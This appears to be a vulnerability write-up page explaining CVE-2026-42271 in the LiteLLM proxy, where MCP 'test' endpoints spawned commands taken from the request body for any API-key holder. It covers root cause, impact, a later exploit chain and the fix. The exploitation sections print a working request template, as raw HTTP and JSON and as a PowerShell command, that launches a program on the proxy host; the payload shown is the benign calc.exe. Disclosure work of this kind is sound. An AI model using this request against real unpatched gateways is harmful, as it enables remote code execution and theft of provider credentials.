Skip to content
RCE Write-up Intermediate

How a “Test” Endpoint Became a Critical RCE: Discovering CVE-2026–42271 in LiteLLM

Two MCP preview endpoints in LiteLLM accepted a full server configuration from the request body, including command, args and env, and passed it straight to the stdio client, which spawned a local process. Any authenticated user with a low-privilege API key could therefore run arbitrary commands on the proxy host.

Itachix0f Follow

Published on medium.com

Cybersecurity

Itachix0f, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context: LiteLLM and the MCP integration

LiteLLM is an open-source AI gateway: a proxy that exposes dozens of LLM providers (OpenAI, Anthropic, Mistral, Bedrock and others) behind a single OpenAI-compatible API. Companies use it to centralise API keys, enforce budgets and log usage, which puts it at a very sensitive spot in the infrastructure, since it holds every provider credential and sees every prompt.

In 2025, LiteLLM added support for the Model Context Protocol (MCP), Anthropic's protocol for connecting LLMs to external tools. MCP servers can run remotely over HTTP/SSE, or locally via stdio, where the host spawns a subprocess and communicates over stdin/stdout.

To make configuration easier, LiteLLM's admin UI offered "preview" endpoints to test an MCP server before saving it. That is where the problem lived.

Setup

The research was a routine security review of the MCP integration, carried out in January 2026. All demonstrations were performed against the researcher's own local deployment. The proof of concept targets a proxy listening on [redacted]:4000 and uses a bearer token in the Authorization header. The endpoints were gated only by Depends(user_api_key_auth): any valid API key could reach them, with no admin role check.

Finding it

The two preview endpoints accepted a complete MCP server definition in the request body, including the command, args and env fields used by the stdio transport. When transport=stdio was supplied, those request fields were propagated straight into the MCP client initialisation, which spawns a local process on the proxy host immediately, before any MCP handshake or protocol validation. Even if the request ultimately failed, because the spawned binary does not speak MCP, the process had already executed.

What made this stand out was the contrast with the rest of the product. Every other MCP management operation in LiteLLM (creating, editing and deleting servers) was explicitly restricted to proxy admins. The test endpoints were a glaring exception to the project's own least-privilege model.

Exploitation

Step 1: send a stdio server definition to the preview endpoint

HTTP
POST /mcp-rest/test/connection
Authorization: Bearer sk-any-valid-key
JSON
{
  "transport": "stdio",
  "server_name": "poc",
  "command": "cmd.exe",
  "args": ["/c", "calc.exe"],
  "env": {}
}

Step 2: the server spawns the process

On the server side, the request fields are passed directly into the MCP client initialisation:

Python
stdio_client(StdioServerParameters(command, args, env))

This call spawns a local process on the proxy host immediately, before any MCP handshake or protocol validation takes place. The process runs even though the request will not complete successfully, because calc.exe does not speak MCP.

Step 3: benign proof of concept from PowerShell

The researcher demonstrated the issue non-destructively by launching the calculator on a Windows host:

PowerShell
Invoke-WebRequest -UseBasicParsing -Method Post `
  -Uri http://[redacted]:4000/mcp-rest/test/connection `
  -Headers @{ Authorization = "Bearer sk-test-master" } `
  -ContentType "application/json" `
  -Body (@{
      transport='stdio';
      server_name='poc';
      command='cmd.exe';
      args=@('/c', 'calc.exe')
  } | ConvertTo-Json -Depth 6)

The expected result is HTTP 200 with an application-level error, since the binary does not speak MCP, but the calculator pops up on the server. Code execution is confirmed with zero damage done.

Root cause

The two preview endpoints accepted a complete MCP server definition in the request body, and when transport=stdio was supplied the fields were propagated straight into the MCP client initialisation.

The existing access control did not stop it. The endpoint was gated only by Depends(user_api_key_auth), meaning any valid API key could reach it, with no admin role check. UI-generated virtual keys default to an empty allowed_routes list, which meant "no effective restriction", so even a low-privilege internal user key was enough. The effective security boundary was: an API key can reach /test/connection, therefore it can spawn arbitrary local processes on the proxy host.

Impact

An attacker holding any valid key could:

  • execute arbitrary commands with the privileges of the LiteLLM proxy process;
  • read every secret the gateway holds, including all provider API keys (OpenAI, Anthropic, AWS Bedrock and others);
  • access the internal network from a trusted pivot point;
  • fully compromise the AI infrastructure of the organisation.

The researcher rated it critical and reported it privately the same day. The issue was patched in LiteLLM v1.83.7 and published as CVE-2026-42271 / GHSA-v4p8-mg3p-g94g (CVSS 8.8, CWE-77).

Months later, researchers at Horizon3.ai demonstrated that the vulnerability could be chained with CVE-2026-48710 ("BadHost"), a Host-header validation bypass in the Starlette web framework. That chain removes the last barrier, the API key: an unauthenticated attacker on any network-reachable host could reach the MCP test endpoints and execute commands, for a practical severity equivalent to CVSS 10.0. On 8 June 2026, CVE-2026-42271 was added to CISA's Known Exploited Vulnerabilities catalogue, confirming active exploitation in the wild.

Fix

The maintainers addressed the issue in LiteLLM v1.83.7: both /test/* endpoints now require the PROXY_ADMIN role, aligning them with the authorisation behaviour of the save endpoint. This was one of three remediation options the researcher had proposed in the initial report; the others were to disable transport=stdio for HTTP APIs, or to require a server_id and resolve execution parameters server-side only.

If you are running anything from 1.74.2 to 1.83.6, upgrade. Because of the later chain, the researcher also recommends checking the Starlette version: upgrade LiteLLM to v1.83.7+ (ideally v1.83.14-stable+ to cover the full chain), update Starlette to 1.0.1+, and rotate any credentials the gateway has touched.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

In January 2026, a security researcher named Itachix0f found a serious flaw in LiteLLM Proxy, a popular open-source AI gateway. The flaw let anyone who had even a low-level login key make the LiteLLM server run any program they wanted. The researcher reported it privately, the maintainers fixed it, and the flaw was published as CVE-2026-42271. Months later, other researchers showed the flaw could be combined with a second bug so that an attacker did not even need a key. On 8 June 2026 the flaw was added to CISA's Known Exploited Vulnerabilities catalogue, a United States government list of vulnerabilities known to be exploited in real attacks. This article walks through the whole story slowly, explaining every technical idea as it appears.

Some background first: what LiteLLM is

To understand the bug, you need to know what the product does.

LiteLLM is an open-source AI gateway. Let us unpack that phrase.

  • Open source means the program's source code is published publicly, so anyone can read it, use it, and report problems in it.
  • An AI gateway (also called a proxy) is a piece of software that sits between your applications and the AI providers they use. Providers here means companies such as OpenAI, Anthropic, Mistral or Amazon Bedrock, each of which sells access to its own AI models.
  • A proxy is a middleman server. Instead of every application talking directly to every AI provider, all the applications talk to the proxy, and the proxy talks to the providers.

Why would a company want a middleman? Because the middleman can do useful bookkeeping:

  • It stores all the provider API keys in one place. An API key is a long secret string, a bit like a password, that a provider issues so it knows who is calling and can bill them. If every application held its own copy of every key, keys would be scattered everywhere and hard to protect.
  • It enforces budgets, so a team cannot spend more than allowed.
  • It logs usage, so the company can see who asked what and when.

This central position makes the gateway very sensitive. It holds every provider credential, and it sees every prompt that users send to the AI. If an attacker controls the gateway, they control a lot. The researcher describes it as sitting at a very sensitive spot in the infrastructure, and that is exactly why a bug there matters so much.

The feature that introduced the problem: MCP

In 2025, LiteLLM added support for the Model Context Protocol, usually shortened to MCP. MCP is a standard, created by Anthropic, that describes how an AI model can be connected to external tools.

Think of MCP as a common plug shape. If an AI assistant and a tool both speak MCP, they can be connected without custom glue code for every pair.

MCP servers, the programs that offer tools, can run in two ways:

  1. Remotely, over HTTP or SSE. HTTP is the same protocol your browser uses to load web pages. SSE stands for Server-Sent Events, a way for a server to keep sending updates to a client over one long-lived HTTP connection. In this mode the MCP server is on another machine and is reached over the network.
  2. Locally, via stdio. stdio stands for standard input and standard output, the two text channels every program on a computer has: one for receiving text, one for sending text back. In this mode the host machine starts a small program, called a subprocess, and talks to it by writing to its input and reading its output.

That second mode is the important one. Starting a local program means the host is executing code on its own machine. That is normal and intended for MCP, but it also means that anything which can choose which program gets started is effectively choosing what code runs.

To make configuration easier, LiteLLM's admin interface offered preview endpoints to test an MCP server before saving it. An endpoint is a specific address on a server that accepts a particular kind of request, for example /mcp-rest/test/connection. The word admin interface (or admin UI, for user interface) means the web pages an administrator uses to configure the product.

A preview endpoint is meant to be a convenience: you type in the details of a server you are thinking of adding, click test, and the product tells you whether the connection works. The problem lived exactly there.

The vulnerability

The flawed design

The two preview endpoints accepted a complete MCP server definition in the request body. The request body is the part of an HTTP request that carries data, as opposed to the address and headers. Here, the body was a JSON document. JSON is a simple text format for structured data, made of names and values in curly braces, which both humans and programs can read.

The two endpoints were POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list. POST is the HTTP method used when a client sends data to a server, as opposed to GET, which is used to ask for a page. The request looked like this:

HTTP
POST /mcp-rest/test/connection
Authorization: Bearer sk-any-valid-key

Line by line:

  • POST /mcp-rest/test/connection says: send data to this address on the server. The address is the test-connection preview endpoint.
  • Authorization: Bearer sk-any-valid-key is an HTTP header, a line of extra information attached to the request. The Authorization header carries proof of who is calling. The word Bearer means the proof is a bearer token: whoever holds the token is treated as the caller, much like whoever holds a cinema ticket gets in. sk-any-valid-key is a placeholder for any API key the server will accept. The point of the example is that it does not need to be an administrator's key.

And the body was:

JSON
{
  "transport": "stdio",
  "server_name": "poc",
  "command": "cmd.exe",
  "args": ["/c", "calc.exe"],
  "env": {}
}

Line by line:

  • "transport": "stdio" tells the server which way to talk to the MCP server. Choosing stdio means: run it locally as a subprocess.
  • "server_name": "poc" is just a label for this server definition. poc is short for proof of concept, a demonstration that something works.
  • "command": "cmd.exe" is the program to start. cmd.exe is the Windows command interpreter, a program that runs other commands.
  • "args": ["/c", "calc.exe"] are the arguments, the extra words passed to the program. For cmd.exe, /c means run the following command and then exit, and calc.exe is the Windows calculator.
  • "env": {} is the environment, a set of named values handed to the new process. Here it is empty.

When transport=stdio was supplied, those request fields were passed straight into the MCP client initialisation. Initialisation means the setup step where a program prepares a connection. The code that did this was:

Python
stdio_client(StdioServerParameters(command, args, env))

Line by line:

  • StdioServerParameters(command, args, env) builds a small object holding the three values from the request: the program to run, its arguments, and its environment.
  • stdio_client(...) starts the MCP client with those parameters. Starting a stdio client means starting the subprocess.

This call spawns a local process on the proxy host immediately, before any MCP handshake or protocol validation. A handshake is the opening exchange where two programs agree how to talk. Protocol validation means checking that the other side really speaks MCP. Neither happened before the process started. So even if the request ultimately failed, because calc.exe does not speak MCP, the process had already executed. The calculator had already opened.

Why the access control did not help

Access control means the rules that decide who is allowed to do what. The endpoint was gated only by Depends(user_api_key_auth). In the Python web framework used here, Depends(...) means "before running this endpoint, run this check first". user_api_key_auth is the check that the caller presented a valid API key. That is all it checked: any valid API key could reach the endpoint. There was no admin role check. A role is a label such as administrator or ordinary user that decides permissions.

There was a second weakness. Keys generated by the UI, called virtual keys, defaulted to an empty allowed_routes list. A route is an endpoint address. An allowed_routes list is meant to say which routes a key may use. An empty list sounds restrictive, but in this code it meant "no effective restriction", so even a low-privilege internal user key was enough.

The effective security boundary was therefore:

API key can reach /test/connection → ability to spawn arbitrary local processes on the proxy host

In plain words: if you can log in at all, you can run programs on the server.

What made this stand out was the contrast with the rest of the product. Every other MCP management operation in LiteLLM, meaning creating, editing and deleting servers, was explicitly restricted to proxy admins. The test endpoints were a glaring exception to the project's own least-privilege model. Least privilege is the principle that every user and every part of a system should have only the minimum permissions it needs, and no more.

Proof of concept (benign)

A proof of concept is a small, safe demonstration that a vulnerability is real. This one was deliberately benign, meaning it caused no harm: it launched the calculator on a Windows host.

PowerShell
Invoke-WebRequest -UseBasicParsing -Method Post `
  -Uri http://[redacted]:4000/mcp-rest/test/connection `
  -Headers @{ Authorization = "Bearer sk-test-master" } `
  -ContentType "application/json" `
  -Body (@{
      transport='stdio';
      server_name='poc';
      command='cmd.exe';
      args=@('/c', 'calc.exe')
  } | ConvertTo-Json -Depth 6)

Line by line:

  • Invoke-WebRequest is a PowerShell command that sends an HTTP request, the same kind of request a browser sends when you submit a form. PowerShell is the scripting shell built into Windows.
  • -UseBasicParsing tells PowerShell to handle the response simply, without needing a full browser engine.
  • -Method Post says to use the POST method, because we are sending data.
  • -Uri http://[redacted]:4000/mcp-rest/test/connection is the address. [redacted] is the loopback address, a special address that always means "this same computer". Port 4000 is the numbered door the LiteLLM proxy listens on. So this request goes to a proxy running on the researcher's own machine.
  • -Headers @{ Authorization = "Bearer sk-test-master" } attaches the Authorization header with a bearer token.
  • -ContentType "application/json" tells the server that the body is JSON, so it knows how to read it.
  • -Body (@{ ... } | ConvertTo-Json -Depth 6) builds the body. The @{ ... } part is a PowerShell table of names and values, and ConvertTo-Json -Depth 6 turns it into JSON text. -Depth 6 says how many levels of nesting to convert.
  • Inside the table, transport='stdio', server_name='poc', command='cmd.exe' and args=@('/c', 'calc.exe') are the same fields as in the earlier JSON body: run the Windows command interpreter, which in turn runs the calculator.
  • The backtick at the end of several lines is PowerShell's way of saying the command continues on the next line.

The expected result is HTTP 200 with an application-level error, since the binary does not speak MCP, but the calculator pops up on the server. HTTP 200 is the status code for "the request was received and handled". An application-level error is an error message the application puts inside a successful response, as opposed to an HTTP error status. Code execution is confirmed with zero damage done.

Root cause

The root cause, the underlying reason the bug existed, is that the preview endpoints accepted a complete MCP server definition, including command, args and env, from user-controlled input, and passed it straight into stdio_client(StdioServerParameters(command, args, env)). Because the stdio transport spawns a subprocess by design, accepting those fields from a request body is equivalent to accepting a command to run. The feature was meant to describe a server; it ended up executing one.

The existing access control did not stop it. The endpoint was gated only by Depends(user_api_key_auth), so any valid API key could reach it, with no admin role check. UI-generated virtual keys defaulted to an empty allowed_routes list, which meant no effective restriction, so even a low-privilege internal user key was enough. The effective security boundary was: an API key can reach /test/connection, therefore it can spawn arbitrary local processes on the proxy host.

This kind of flaw is classified as CWE-77, the weakness category for command injection. Injection means user-supplied data is treated as instructions rather than as plain data. A familiar comparison: if a form asks for your name and you type Robert'); drop the table, and the program pastes that straight into a database command, your text has become an instruction. Here, the request body was pasted into a process launch.

Impact

Impact means what an attacker could actually do with the flaw. An attacker holding any valid key could:

  • execute arbitrary commands with the privileges of the LiteLLM proxy process. Privileges are the permissions a running program has; anything the program can do, the attacker can now do;
  • read every secret the gateway holds, including all provider API keys (OpenAI, Anthropic, AWS Bedrock and others);
  • access the internal network from a trusted pivot point. A pivot is a compromised machine used as a stepping stone to reach other machines that are not directly reachable from outside;
  • fully compromise the AI infrastructure of the organisation.

The researcher rated it critical and reported it privately the same day. Critical is the highest severity band in most vulnerability rating schemes. The issue was published as CVE-2026-42271 / GHSA-v4p8-mg3p-g94g (CVSS 8.8, CWE-77). Let us unpack those labels:

  • A CVE, short for Common Vulnerabilities and Exposures, is a unique public identifier for one specific vulnerability, so everyone discussing it refers to the same thing.
  • A GHSA is a GitHub Security Advisory, the same kind of identifier issued through GitHub, where much open-source software is hosted.
  • CVSS is the Common Vulnerability Scoring System, a standard 0 to 10 score for how severe a vulnerability is. 8.8 is in the high range.
  • CWE-77 is the classification for command injection, as explained above.

Months later, researchers at Horizon3.ai demonstrated that the vulnerability could be chained with CVE-2026-48710 ("BadHost"), a Host-header validation bypass in the Starlette web framework. Chaining means using one flaw to reach another, like using a copied key to open a door behind which a second key is hanging. Let us unpack the second flaw:

  • Starlette is a Python web framework, a toolkit programmers use to build web servers.
  • The Host header is a line in every HTTP request saying which website name the client is asking for, for example example.com. Servers use it to decide which site to serve.
  • Host-header validation is the server checking that the name is one it recognises. A bypass is a way around a check.

That chain removes the last barrier, the API key: an unauthenticated attacker on any network-reachable host could reach the MCP test endpoints and execute commands. Unauthenticated means without logging in at all. The practical severity was equivalent to CVSS 10.0, the maximum score.

On 8 June 2026, CVE-2026-42271 was added to CISA's Known Exploited Vulnerabilities catalogue. CISA is the United States Cybersecurity and Infrastructure Security Agency. Its catalogue lists vulnerabilities that are confirmed to be exploited in real attacks, not just in theory. Exploited in the wild means attackers are using it against real systems.

Fix

The maintainers, the people who look after the open-source project, addressed the issue in LiteLLM v1.83.7. A version number like this identifies one release of the software. Both /test/* endpoints now require the PROXY_ADMIN role, aligning them with the authorisation behaviour of the save endpoint. In other words, the test buttons now demand the same administrator permission as saving a server, which is what they should have done from the start.

This was one of three remediation options the researcher had proposed in the initial report. Remediation means the change that removes the vulnerability. The other two were:

  1. disable transport=stdio for HTTP APIs, so a request over the network could never ask for a local process;
  2. require a server_id and resolve execution parameters server-side only, meaning the client names a server that an administrator already saved, and the server looks up the command itself instead of trusting the request.

If you are running anything from 1.74.2 to 1.83.6, upgrade. Because of the later chain, the researcher also recommends checking the Starlette version: upgrade LiteLLM to v1.83.7+ (ideally v1.83.14-stable+ to cover the full chain), update Starlette to 1.0.1+, and rotate any credentials the gateway has touched. Rotating a credential means replacing it with a new one and retiring the old, on the assumption that an attacker may have copied it.

Variants to test

The researcher draws some general lessons for anyone building or operating AI gateways.

Glossary

  • Access control: the rules that decide who is allowed to do what on a system.
  • Admin UI: the web pages an administrator uses to configure a product.
  • API: an interface that lets one program ask another program to do something, usually over the network.
  • API key: a long secret string, like a password, that identifies a caller to a service.
  • Application-level error: an error message placed inside a successful HTTP response by the application itself.
  • Arguments: the extra words passed to a program when it starts, telling it what to do.
  • Bearer token: a credential where whoever holds it is treated as the caller, like a cinema ticket.
  • Benign: harmless; a demonstration that proves a flaw without causing damage.
  • Bypass: a way around a security check.
  • Chaining: combining two or more vulnerabilities so one helps reach or trigger the next.
  • CISA: the United States Cybersecurity and Infrastructure Security Agency.
  • Command injection (CWE-77): a flaw where user-supplied data is treated as instructions to run, rather than as plain data.
  • Critical: the highest severity band in most vulnerability rating schemes.
  • CVE: a unique public identifier for one specific vulnerability.
  • CVSS: a standard 0 to 10 score for how severe a vulnerability is.
  • CWE: a catalogue that classifies types of software weakness.
  • Endpoint: a specific address on a server that accepts a particular kind of request.
  • Environment: a set of named values handed to a newly started process.
  • Exploited in the wild: actively used by attackers against real systems.
  • GHSA: a GitHub Security Advisory, an identifier for a vulnerability published through GitHub.
  • Handshake: the opening exchange where two programs agree how to communicate.
  • Header: a line of extra information attached to an HTTP request or response.
  • Host header: the line in an HTTP request saying which website name the client is asking for.
  • HTTP: the protocol browsers and servers use to exchange web requests and responses.
  • HTTP 200: the status code meaning a request was received and handled.
  • Impact: what an attacker could actually do with a vulnerability.
  • Injection: a flaw where user data is interpreted as instructions.
  • JSON: a simple text format for structured data, made of names and values.
  • Least privilege: the principle that every user and component should have only the minimum permissions it needs.
  • Loopback address: the special address [redacted], which always means the same computer.
  • MCP (Model Context Protocol): a standard for connecting AI models to external tools.
  • Open source: software whose source code is published publicly.
  • POST: the HTTP method used to send data to a server.
  • PowerShell: the scripting shell built into Windows.
  • Privileges: the permissions a running program or user has.
  • Proof of concept (PoC): a small, safe demonstration that a vulnerability is real.
  • Protocol validation: checking that the other side of a connection really speaks the expected protocol.
  • Proxy: a middleman server that forwards requests between clients and other servers.
  • Remediation: the change that removes a vulnerability.
  • Request body: the part of an HTTP request that carries data.
  • Role: a label such as administrator or ordinary user that decides permissions.
  • Rotate (a credential): replace a secret with a new one and retire the old, assuming it may have been copied.
  • Route: an endpoint address that a request can be sent to.
  • SSE (Server-Sent Events): a way for a server to keep sending updates to a client over one long-lived HTTP connection.
  • Starlette: a Python web framework used to build web servers, on which LiteLLM is built.
  • stdio (standard input/output): the two text channels every program has for receiving and sending text; also the MCP mode where the host starts a local subprocess.
  • Subprocess: a program started by another program.
  • Unauthenticated: without logging in at all.
  • Version number: an identifier for one release of a piece of software.
  • Virtual key: an API key generated by a product's interface, often with restricted permissions.

More by Itachix0f

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.